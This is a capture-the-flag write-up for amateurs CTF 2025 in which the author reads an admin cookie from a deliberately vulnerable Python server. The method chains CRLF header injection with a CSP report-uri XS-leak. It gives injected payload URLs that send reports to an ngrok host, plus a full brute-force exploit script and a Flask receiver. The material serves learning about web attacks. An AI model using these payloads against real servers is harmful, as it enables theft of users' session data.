DJumanto Sec Blog

Amateurs 2025

Word count: 2kReading time: 12 min
2025/12/11
loading

🖊️Author: DJumanto
🛡️Team: HCS
📖Note: This Writeup contains solver for Devil Net challenge in amateurs CTF 2025


TL;DR

This writeup explains how we were able to predict client-side content through a CRLF injection vector combined with the report-uri CSP directive.


Summary

  • Vulnerabilities: CRLF Injection, XS-Leaks.
  • Target: Read the flag in the admin page

The App

In this challenge, we’re given an application with a single web.py file.

web.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
import base64, logging, sys, os, time
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from http.cookies import SimpleCookie


from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service


flag = os.getenv("FLAG", "amateursCTF{t3st_f14g}") # charset: a-z{}
binary_location = os.environ.get("CHROME_BIN", "/usr/bin/chromium")
service_location = os.environ.get("CHROMEDRIVER", "/usr/bin/chromedriver")

# Teemo website
template = """<html>
<head>
<title>Teemo Scout</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Welcome to the Teemo Scout</h1>
<p>Use this service to scout for Teemo's hidden zones.</p>
<p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
<p>Example: <code>/scout?content=HelloTeemo</code></p>
<p>Happy scouting!</p>
<p>
<flag>
<replaceme>
</p>
</body>
</html>
"""


class TeemoScoutHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
path = parsed_url.path
params = parse_qs(parsed_url.query)
if path == '/bot':
return self.handle_bot(params)

parsed = urlparse(self.path)
content = parse_qs(parsed.query).get('content', [""])[0]

scout_out = 'deadbeef' + content
if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
scout_out = 'invalid content'

self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'

self.send_response(200)
self.send_header('Content-Type', 'text/html; charset=utf-8')

cookies = SimpleCookie(self.headers.get('Cookie', ''))
stuff = cookies.get('FLAG', None)
body = template.replace("<flag>", stuff.value if stuff else "")
body = body.replace("<replaceme>", scout_out)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body.encode())

def handle_bot(self, params):
print(f"[+] Bot requested to visit URL with params: {params}", file=sys.stderr)
try:
address = params.get('address', ['uhm'])[0]
data = base64.b64decode(address).decode()

url = f"http://127.0.0.1:9192/scout?content={data}"
print(f"[+] Visiting {url}", file=sys.stderr)

options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage") # helps in Docker
options.binary_location = binary_location
service = Service(service_location)
driver = webdriver.Chrome(service=service, options=options)
print("[-] Chrome WebDriver started", file=sys.stderr)

driver.get('http://127.0.0.1:9192/void')
driver.add_cookie({'name':'FLAG','value': flag})
print(f"[-] Visiting URL {url}", file=sys.stderr)
driver.get(url)
driver.implicitly_wait(5)
time.sleep(3)
driver.quit()
print(f"[-] Done visiting {url}", file=sys.stderr)

self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:9192/')
self.send_header('Content-Length','0')
self.end_headers()
except Exception as e:
print(e, file=sys.stderr)
self.send_response(400)
self.send_header('Content-Length','0')
self.end_headers()


if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
port = 9192
logging.info(f"Teemo Scout server listening on {port}")
HTTPServer(("0.0.0.0", port), TeemoScoutHandler).serve_forever()

So our primary target is pretty straight forward, the cookie of admin is embbeded in content replacing the <flag> and our content data is placed right in the system version and <replaceme> section

Set the flag content

1
2
3
cookies = SimpleCookie(self.headers.get('Cookie', ''))
stuff = cookies.get('FLAG', None)
body = template.replace("<flag>", stuff.value if stuff else "")

Set content to sys version and <replaceme> section

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
parsed    = urlparse(self.path)
content = parse_qs(parsed.query).get('content', [""])[0]

scout_out = 'deadbeef' + content
if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
scout_out = 'invalid content'

self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'

...

body = body.replace("<replaceme>", scout_out)
self.send_header('Content-Length', str(len(body)))
self.end_headers()

Pretty straightforward right? let’s fire up our docker and see the request and response.

Screenshot 2025-11-19 213908

As we can see, the CSP policy is highly restrictive, setting most sources to ‘none’. This prevents traditional script injection and rules out straightforward XSS exploitation. So the question becomes: how can we still retrieve the flag under this constraint?


CRLF Injection

In the system version processing, there’s clearly a CRLF Injection, this can be checked by inputting our content with ?content=beefdead%0d%0aAlamak:%20Test123

1
2
self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'

Screenshot 2025-11-19 214544


XS-Leaks with report-uri

Next, what can we do with the restrictive CSP? since we can’t attempt an XSS or CSS injection. The description of the challenge give us this:

HINT: Teemo’s CSP scouts are too secure… In fact, they are so safe that sometimes they even report what they saw.

We can take advantage of the report-uri CSP directive to trigger and exfiltrate CSP violation reports to our server.

Initially, I considered using report-sample to leak content that violates style-src, but the flag is located too deep within the response, making this approach insufficient for full extraction.

Instead, we inject a custom Content-Security-Policy-Report-Only header via CRLF injection:

1
?content=%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>

This forces the browser to apply our modified CSP rules, rendering the injected <style> block and triggering a Subresource Integrity (SRI) violation. The violation is then sent to our server as a CSP report:

Screenshot 2025-11-19 220638

Since we only need to leak the flag content, we limit the HTTP response payload using a Content-Length header. For testing and to identify the correct offset, I temporarily replaced the <flag> portion with a local placeholder. Fast forward, because we already know that the format is amateursCTF{, we set the content length starts from 528

1
?content=%0D%0AContent-Length:%20528%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>

image

The main challenge now is that we do not know the server’s Content-Length value, meaning the size of the flag may vary. Because of this, we must first brute-guess the correct Content-Length value before we can proceed with leaking the flag.

The script below automates the process. It is not particularly fast, but it is sufficient to enumerate the correct length and ultimately retrieve the flag.


Exploit POC

automate.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import hashlib
import base64
from urllib.parse import quote, unquote
import requests

chars = "}abcdefghijklmnopqrstuvwxyz"
POLL_SERVER = "http://0.tcp.ap.ngrok.io:15847"
FLAG_LEN = ""

dataLen = """
Content-Type: text/html; charset=utf-8
Content-Length: {}"""

for i in range(66,69):
for j in range(0,10):
temp = dataLen.format(FLAG_LEN+str(j))
print(FLAG_LEN+str(j))
h = hashlib.sha256(temp.encode("utf-8")).digest()
b64 = base64.b64encode(h).decode("utf-8")
sha = f"sha256-{quote(b64)}"
print(sha)
target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
info = base64.b64encode(target.encode()).decode()
print(f"request with number {j}")
resp = requests.get("http://localhost:9192/bot?address="+quote(info))
resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
if(str(j) in resp.text):
print(f"We got the Length: {FLAG_LEN+str(j)}")
FLAG_LEN += str(j)
requests.get(f"{POLL_SERVER}/reset")
break

FLAG_LEN = int(FLAG_LEN)+1
print(f"Flag Length: {FLAG_LEN}")
data = """
Content-Type: text/html; charset=utf-8
Content-Length: {}

<html>
<head>
<title>Teemo Scout</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Welcome to the Teemo Scout</h1>
<p>Use this service to scout for Teemo's hidden zones.</p>
<p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
<p>Example: <code>/scout?content=HelloTeemo</code></p>
<p>Happy scouting!</p>
<p>
{}"""


FLAG = "amateursCTF{"

for i in range(528,540):
for j in chars:
temp = data.format(FLAG_LEN,FLAG+j)
h = hashlib.sha256(temp.encode("utf-8")).digest()
b64 = base64.b64encode(h).decode("utf-8")
sha = f"sha256-{quote(b64)}"
print(sha)
target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
info = base64.b64encode(target.encode()).decode()
print(f"request with char {FLAG+j}")
resp = requests.get("http://localhost:9192/bot?address="+quote(info))
resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
if(j in resp.text):
print(f"We got the flag char: {j}")
FLAG += j
if j == "}":
print(f"Flag Recovered: {FLAG}")
exit()
requests.get(f"{POLL_SERVER}/reset")
break

reciever.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, request

app = Flask(__name__)
VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"

@app.route("/", methods=["GET", "POST"])
def index():
global VALID_CHAR
char_id = request.args.get("char")
VALID_CHAR = VALID_CHAR.replace(char_id,"")
print(f"char left: {VALID_CHAR}")
return "OK"

@app.route("/reset", methods=["GET"])
def reset():
global VALID_CHAR
VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"
return "OK"

@app.route("/getFlagIndex", methods=["GET"])
def getFlag():
return VALID_CHAR

if __name__ == "__main__":
app.run(port=9999, host="0.0.0.0")

References


CATALOG
  1. 1. TL;DR
  2. 2. Summary
  3. 3. The App
  4. 4. CRLF Injection
  5. 5. XS-Leaks with report-uri
  6. 6. Exploit POC
  7. 7. References